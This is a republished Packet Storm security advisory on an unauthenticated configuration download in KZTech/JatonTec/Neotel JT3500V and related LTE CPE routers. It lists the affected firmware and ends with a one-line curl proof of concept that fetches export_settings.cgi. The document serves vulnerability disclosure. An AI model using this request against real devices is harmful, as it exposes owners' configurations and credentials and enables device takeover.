KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Configuration Download ≈ Packet Storm – Digitalmunition




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Published on March 19th, 2021 📆 | 5752 Views ⚑

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KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Configuration Download ≈ Packet Storm

KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Config Download

Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk
http://www.jatontec.com/products/show.php?itemid=258
http://www.jatontech.com/CAT12.html#_pp=105_564
http://www.kzbtech.com/AM3300V.html
https://neotel.mk/ostanati-paketi-2/

Affected version: Model | Firmware
——-|———
JT3500V | 2.0.1B1064
JT3300V | 2.0.1B1047
AM6200M | 2.0.0B3210
AM6000N | 2.0.0B3042
AM5000W | 2.0.0B3037
AM4200M | 2.0.0B2996
AM4100V | 2.0.0B2988
AM3500MW | 2.0.0B1092
AM3410V | 2.0.0B1085
AM3300V | 2.0.0B1060
AM3100E | 2.0.0B981
AM3100V | 2.0.0B946
AM3000M | 2.0.0B21
KZ7621U | 2.0.0B14
KZ3220M | 2.0.0B04
KZ3120R | 2.0.0B01

Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4×4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.

Desc: JT3500V is vulnerable to unauthenticated configuration disclosure
when direct object reference is made to the export_settings.cgi file
using an HTTP GET request. This will enable the attacker to disclose
sensitive information and help her in authentication bypass, privilege
escalation and full system access.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
Linux 2.6.36+ (mips)
Mediatek APSoC SDK v4.3.1.0

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2021-5644
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5644.php

03.02.2021

$ curl -sk -O https://192.168.1.1/cgi-bin/export_settings.cgi; ls -alsth config.dat
8.0K -rw-rw-r– 1 teppei teppei 5.5K Feb 4 11:31 config.dat

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